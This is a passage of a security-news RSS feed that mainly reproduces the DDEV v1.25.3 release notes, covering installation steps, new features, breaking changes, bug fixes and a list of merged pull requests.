<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3652753/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652753/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Tue, 07 Jul 2026 23:01:46 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.25.3]]></title>
<description><![CDATA[Installation
See the installation instructions for details, but it's easy:

macOS: brew install ddev/ddev/ddev or just brew upgrade ddev.
Linux: Use sudo apt-get update && sudo apt-get install ddev, see apt/yum installation
Windows and WSL2: Download the Windows Installer; you can run it for inst...]]></description>
<link>https://tsecurity.de/de/3649770/downloads/v1253/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649770/downloads/v1253/</guid>
<pubDate>Mon, 06 Jul 2026 22:01:36 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Installation</h2>
<p>See the <a href="https://docs.ddev.com/en/stable/users/install/ddev-installation/" rel="nofollow">installation instructions</a> for details, but it's easy:</p>
<ul>
<li>macOS: <code>brew install ddev/ddev/ddev</code> or just <code>brew upgrade ddev</code>.</li>
<li>Linux: Use <code>sudo apt-get update &amp;&amp; sudo apt-get install ddev</code>, see <a href="https://docs.ddev.com/en/stable/users/install/ddev-installation/#linux" rel="nofollow">apt/yum installation</a></li>
<li>Windows and WSL2: Download the <a href="https://ddev.com/download/" rel="nofollow">Windows Installer</a>; you can run it for install or upgrade.<br>
<g-emoji class="g-emoji" alias="warning">⚠️</g-emoji> <strong>Traditional Windows users (not WSL2)</strong>: If needed, the installer will prompt you to uninstall the previous system-wide installation to avoid conflicts with the new per-user installation.</li>
<li>Consider <code>ddev delete images</code> or <code>ddev delete images --all</code> after upgrading to free up disk space used by previous Docker image versions. This does no harm.</li>
<li>Consider <code>ddev config --auto</code> to update your projects to current configuration.</li>
</ul>
<h2>Highlights</h2>
<p>Blog announcement: <a href="https://ddev.com/blog/release-v1-25-3/" rel="nofollow">https://ddev.com/blog/release-v1-25-3/</a></p>
<ul>
<li><strong>New Docker Compose library:</strong> Improved UX during <code>ddev start</code> and <code>ddev stop</code>; the separate <code>~/.ddev/bin/docker-compose</code> binary is no longer needed and can be removed</li>
<li><strong>Faster <code>ddev start</code>:</strong> Reduced startup time by running post-healthcheck tasks concurrently, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jonesrussell/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jonesrussell">@jonesrussell</a></li>
<li><strong>Faster <code>ddev stop</code>:</strong> Fixed a bug in the webserver startup script that added an unnecessary ~10-second delay</li>
<li><strong>MariaDB 12.3 LTS support</strong></li>
<li><strong>Podman and Docker rootless are no longer experimental:</strong> Both are now stable and ready for general use:
<ul>
<li><a href="https://docs.ddev.com/en/stable/users/install/docker-installation/#macos-podman-rootless" rel="nofollow">macOS (Podman rootless)</a></li>
<li><a href="https://docs.ddev.com/en/stable/users/install/docker-installation/#linux-docker-rootless" rel="nofollow">Linux/WSL2 (Docker rootless)</a></li>
<li><a href="https://docs.ddev.com/en/stable/users/install/docker-installation/#linux-podman-rootless" rel="nofollow">Linux/WSL2 (Podman rootless)</a></li>
</ul>
</li>
</ul>
<h2>Breaking Changes</h2>
<ul>
<li>Remove support for <code>XDG_CONFIG_HOME</code>, replaced by <code>DDEV_XDG_CONFIG_HOME</code>. Support for <code>~/.config/ddev</code> on Linux is unchanged. This change was needed because some IDEs, such as PhpStorm, don't always see <code>XDG_CONFIG_HOME</code> set in the terminal (see <a href="https://youtrack.jetbrains.com/projects/IJPL/issues/IJPL-1055/Load-interactive-shell-environment-variables-on-Linux" rel="nofollow">this issue</a>), which caused the IDE to recreate the <code>~/.ddev</code> directory repeatedly</li>
<li>Use stricter permissions for world-writable directories inside <code>ddev-webserver</code>. If you had <code>post-start</code> hooks that wrote to <code>/usr/local/bin</code>, update them to use <code>~/.local/bin</code> instead, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AkibaAT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AkibaAT">@AkibaAT</a></li>
<li>Move <code>N_PREFIX</code> from <code>/usr/local</code> to <code>/usr/local/n</code>. This shouldn't affect most people, unless you referenced a full path such as <code>/usr/local/bin/npm</code> - the new location is <code>/usr/local/n/bin/npm</code>, or simply use <code>npm</code> without a full path</li>
<li>Remove the <code>ddev dr</code> alias for <code>ddev drush</code>, since <code>dr</code> is now a built-in command for Drupal 11.4+</li>
</ul>
<h2>Features</h2>
<ul>
<li><a href="https://docs.ddev.com/en/stable/users/configuration/config/#nodejs_version" rel="nofollow">Node.js improvements</a>: preserve <code>nodejs_version</code> in <code>.ddev/config.yaml</code>, and install several Node.js versions with <code>n install &lt;version&gt;</code> inside the web container</li>
<li>Docker rootless on Linux no longer requires <code>no-bind-mounts</code>; disable it with <code>ddev config global --no-bind-mounts=false</code></li>
<li>Support the <a href="https://github.com/moby/moby/releases/tag/docker-v29.5.0">gvisor-tap-vsock</a> network driver in Docker rootless</li>
<li>Add new <a href="https://docs.ddev.com/en/stable/users/usage/commands/#dr" rel="nofollow"><code>ddev dr</code></a> command for Drupal 11.4+</li>
<li>Allow using Mutagen together with <code>ddev config global --use-hardened-images=true</code></li>
<li><code>ddev version</code> and <code>ddev config</code> now work even when Docker isn't running or is broken, and <code>ddev poweroff</code> shows progress output instead of appearing to hang</li>
<li>Improve <code>ddev list</code> and <code>ddev describe</code> layout on narrow terminals</li>
<li>Add OSC 8 terminal hyperlink support to <code>ddev list</code>, <code>ddev describe</code>, <code>ddev add-on list</code>, and <code>ddev add-on search</code></li>
<li>Show human-readable output when checking available disk space, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wolcen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wolcen">@wolcen</a></li>
<li>Always pull images when using <code>ddev start --no-cache</code></li>
<li>Respect the <code>COMPOSER_NO_BLOCKING</code> environment variable from the host in <code>ddev composer</code></li>
<li>Add <a href="https://docs.ddev.com/en/stable/users/configuration/config/#docker_buildx_version" rel="nofollow"><code>ddev config global --docker-buildx-version</code></a> to specify which Docker Buildx version to use (advanced use only)</li>
<li>Respect <code>docker-buildx</code> installed via snap on Linux</li>
<li>Support Debian, Kali, and eLxr WSL2 distros in the Windows installer, and avoid installing <code>docker-ce</code> over an existing Docker Desktop <code>docker</code> binary</li>
<li>Add <a href="https://docs.ddev.com/en/stable/users/usage/commands/#utility-addon-update-checker" rel="nofollow"><code>ddev utility addon-update-checker</code></a> command for add-on maintainers</li>
<li>Add <a href="https://docs.ddev.com/en/stable/users/extend/creating-add-ons/#interactive-actions" rel="nofollow"><code>#ddev-interactive</code></a> option for add-on actions, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AkibaAT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AkibaAT">@AkibaAT</a></li>
<li>Add <a href="https://docs.ddev.com/en/stable/users/extend/custom-docker-services/#omitting-comddev-labels-from-a-service" rel="nofollow"><code>x-ddev.omit-ddev-labels</code></a> extension to skip <code>com.ddev.*</code> label injection for specific services</li>
<li>Support the Flatpak user binary for DBeaver on Linux, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nickchomey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nickchomey">@nickchomey</a></li>
<li>Add a <a href="https://docs.ddev.com/en/stable/users/quickstart/#drupal-drupal-12-head" rel="nofollow">quickstart for Drupal 12 (HEAD)</a>, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rpkoller/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rpkoller">@rpkoller</a></li>
<li>Add troubleshooting for <a href="https://docs.ddev.com/en/stable/users/topics/hosting/#lets-encrypt-errors" rel="nofollow">Let's Encrypt certificate failures</a>, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jonpugh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jonpugh">@jonpugh</a></li>
</ul>
<h2>Bug Fixes</h2>
<ul>
<li>Windows installer: fix installation on WSL2 Ubuntu 26.04, which previously failed due to the deprecated <code>wslu</code> package</li>
<li>Suppress 404 logs for <code>favicon.ico</code> and <code>robots.txt</code>; in some cases these caused Nginx to run a PHP script twice</li>
<li>Prevent recursion in global web command wrappers</li>
<li>Use the correct <code>settings.ddev.php</code> for each Drupal version</li>
<li>Fix a bug where <code>.ddev/apache/apache-site.conf</code> went missing when using a custom Nginx config</li>
<li>Detect a missing <code>docker</code> CLI, which is required when using Mutagen</li>
<li>Limit the <code>ENV HOME=""</code> workaround for MySQL 8.x to the database context only</li>
<li>Podman and macOS: restrict the <code>keep-id</code> userns setting to Linux only</li>
<li>Use the <code>nodejs_version</code> set during the <code>ddev-webserver</code> image build; if you installed global <code>npm</code> packages in <code>post-start</code> hooks, move them to <a href="https://docs.ddev.com/en/stable/users/extend/customizing-images/#adding-extra-dockerfiles-for-webimage-and-dbimage" rel="nofollow">extra Dockerfiles</a> instead</li>
<li>Use wrapper scripts in <code>ddev-dbserver</code> to avoid <code>mysql</code> deprecation warnings with MariaDB 11.x+</li>
<li>Warn when the <code>CAROOT</code> environment variable is set but the mkcert CA files (needed for HTTPS in your browser) are inaccessible</li>
<li>Normalize <code>OSTYPE</code> detection on Linux, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mikee-3000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mikee-3000">@Mikee-3000</a></li>
<li>Avoid double-sourcing bashrc configuration in <code>ddev ssh</code></li>
<li>Skip OS-generated metadata files (<code>.DS_Store</code>, <code>Thumbs.db</code>, <code>desktop.ini</code>) during custom-config detection and in <code>.ddev/.gitignore</code></li>
<li>Restore path autocompletion for <code>ddev add-on get</code></li>
<li>Don't prompt to run <code>ddev poweroff</code> after updating <code>ddev-ssh-agent</code></li>
<li>Fix a case typo in <code>ddev sequelace</code> so Sequel Ace is detected on case-sensitive macOS filesystems, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mficzel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mficzel">@mficzel</a></li>
</ul>
<h2>Internal Changes</h2>
<ul>
<li>Migrate <a href="https://docs.ddev.com/" rel="nofollow">DDEV documentation</a> from <a href="https://squidfunk.github.io/mkdocs-material/" rel="nofollow">Material for MkDocs</a> to <a href="https://zensical.org/" rel="nofollow">Zensical</a></li>
<li>Upgrade Bubble Tea (<code>ddev tui</code>) to v2</li>
<li>Add light/dark/system preference variants for the <a href="https://docs.ddev.com/en/stable/developers/brand-guide/" rel="nofollow">brand logo</a></li>
<li>Remove automated testing on macOS Intel; macOS amd64 binaries are still built and distributed, only CI testing on Intel hardware is removed</li>
<li>Add automated testing for macOS Podman rootless</li>
<li>Improve the test embargo system for Go, Bats, and CI workflows; tests can now be <a href="https://docs.ddev.com/en/stable/developers/maintainers/#skipping-tests" rel="nofollow">skipped</a> when needed</li>
<li>Add custom GitHub workflows to run tests on branches without opening a PR</li>
<li>Rework local HTTP test helpers for clearer failure output</li>
<li>Remove the build step for the Docker image used in <code>ddev auth ssh</code></li>
<li>Bump all Go dependencies</li>
</ul>
<h2>Minor Updates</h2>
<ul>
<li>PHP 8.4.22 and 8.5.7</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>test: Reenable Drupal 12 bats test (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4308873453" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8346" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8346/hovercard" href="https://github.com/ddev/ddev/pull/8346">#8346</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rpkoller/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rpkoller">@rpkoller</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4308873453" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8346" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8346/hovercard" href="https://github.com/ddev/ddev/pull/8346">#8346</a></li>
<li>chore(claude): fix PreToolUse hook matcher for git commit static analysis (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4304236248" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8345" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8345/hovercard" href="https://github.com/ddev/ddev/pull/8345">#8345</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4304236248" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8345" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8345/hovercard" href="https://github.com/ddev/ddev/pull/8345">#8345</a></li>
<li>docs(add-ons): Minor updates to creating-add-ons.md by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4311162289" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8347" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8347/hovercard" href="https://github.com/ddev/ddev/pull/8347">#8347</a></li>
<li>perf: combined startup time optimizations, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3892114614" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8096" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8096/hovercard" href="https://github.com/ddev/ddev/issues/8096">#8096</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jonesrussell/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jonesrussell">@jonesrussell</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3941786572" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8145" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8145/hovercard" href="https://github.com/ddev/ddev/pull/8145">#8145</a></li>
<li>fix(windows): remove wslu from installer, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4276951921" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8326" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8326/hovercard" href="https://github.com/ddev/ddev/issues/8326">#8326</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335618741" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8351" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8351/hovercard" href="https://github.com/ddev/ddev/pull/8351">#8351</a></li>
<li>fix(webserver): replace phar.io/filippo.io links with GitHub releases, improve Dockerfile, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3794142159" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8012" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8012/hovercard" href="https://github.com/ddev/ddev/issues/8012">#8012</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337118936" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8352" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8352/hovercard" href="https://github.com/ddev/ddev/pull/8352">#8352</a></li>
<li>docs(quickstart): add a quickstart for Drupal 12 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344681076" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8357" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8357/hovercard" href="https://github.com/ddev/ddev/pull/8357">#8357</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rpkoller/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rpkoller">@rpkoller</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344681076" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8357" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8357/hovercard" href="https://github.com/ddev/ddev/pull/8357">#8357</a></li>
<li>feat(docker): always pull images with <code>--no-cache</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349539661" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8363" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8363/hovercard" href="https://github.com/ddev/ddev/pull/8363">#8363</a></li>
<li>fix(download-images): pull webserver image, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4231897705" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8304" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8304/hovercard" href="https://github.com/ddev/ddev/pull/8304">#8304</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344757488" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8358" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8358/hovercard" href="https://github.com/ddev/ddev/pull/8358">#8358</a></li>
<li>fix(start): use image digest for rebuild detection, fix rand and ssh-agent data races, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3941786572" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8145" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8145/hovercard" href="https://github.com/ddev/ddev/pull/8145">#8145</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345335786" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8359" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8359/hovercard" href="https://github.com/ddev/ddev/pull/8359">#8359</a></li>
<li>fix(test): skip TestCheckLiveConnectivityWithProject on Rancher/Colima/Lima, fix misleading WSL2 labels by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351827772" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8365" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8365/hovercard" href="https://github.com/ddev/ddev/pull/8365">#8365</a></li>
<li>docs(windows): add WSL2 installation step to Docker docs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343533724" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8355" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8355/hovercard" href="https://github.com/ddev/ddev/pull/8355">#8355</a></li>
<li>chore: fix claude hooks and update agent docs [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359138300" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8370" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8370/hovercard" href="https://github.com/ddev/ddev/pull/8370">#8370</a></li>
<li>chore: remove macOS amd64 CI testing (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359689994" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8372" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8372/hovercard" href="https://github.com/ddev/ddev/pull/8372">#8372</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359689994" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8372" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8372/hovercard" href="https://github.com/ddev/ddev/pull/8372">#8372</a></li>
<li>fix(drupal): use configured project type for settings.php version selection by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353481878" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8366" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8366/hovercard" href="https://github.com/ddev/ddev/pull/8366">#8366</a></li>
<li>ci: run golangci-lint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365231243" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8375" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8375/hovercard" href="https://github.com/ddev/ddev/pull/8375">#8375</a></li>
<li>docs(mutagen): explain how to reset to the default mode, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355654879" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8367" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8367/hovercard" href="https://github.com/ddev/ddev/issues/8367">#8367</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/silverham/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/silverham">@silverham</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355742321" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8368" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8368/hovercard" href="https://github.com/ddev/ddev/pull/8368">#8368</a></li>
<li>docs(configuration): Add <code>ddev config --database=&lt;database type&gt;:&lt;version&gt;</code> example command (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4382057472" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8387" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8387/hovercard" href="https://github.com/ddev/ddev/pull/8387">#8387</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/silverham/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/silverham">@silverham</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4382057472" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8387" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8387/hovercard" href="https://github.com/ddev/ddev/pull/8387">#8387</a></li>
<li>build: bump fuxingloh/multi-labeler from 4 to 5 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379236601" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8385" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8385/hovercard" href="https://github.com/ddev/ddev/pull/8385">#8385</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379236601" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8385" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8385/hovercard" href="https://github.com/ddev/ddev/pull/8385">#8385</a></li>
<li>docs: clarify --cleanup --name for single snapshot deletion (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4375346339" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8384" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8384/hovercard" href="https://github.com/ddev/ddev/pull/8384">#8384</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CallMeLeon167/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CallMeLeon167">@CallMeLeon167</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4375346339" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8384" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8384/hovercard" href="https://github.com/ddev/ddev/pull/8384">#8384</a></li>
<li>docs(add-ons): add real example for bats testing (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365579223" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8377" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8377/hovercard" href="https://github.com/ddev/ddev/pull/8377">#8377</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365579223" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8377" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8377/hovercard" href="https://github.com/ddev/ddev/pull/8377">#8377</a></li>
<li>fix(commands): normalize $OSTYPE detection for linux, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371984340" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8382" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8382/hovercard" href="https://github.com/ddev/ddev/issues/8382">#8382</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mikee-3000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mikee-3000">@Mikee-3000</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372014245" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8383" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8383/hovercard" href="https://github.com/ddev/ddev/pull/8383">#8383</a></li>
<li>docs: Add Xcode iOS simulator info (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359170507" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8371" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8371/hovercard" href="https://github.com/ddev/ddev/pull/8371">#8371</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jamesmacwhite/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jamesmacwhite">@jamesmacwhite</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359170507" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8371" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8371/hovercard" href="https://github.com/ddev/ddev/pull/8371">#8371</a></li>
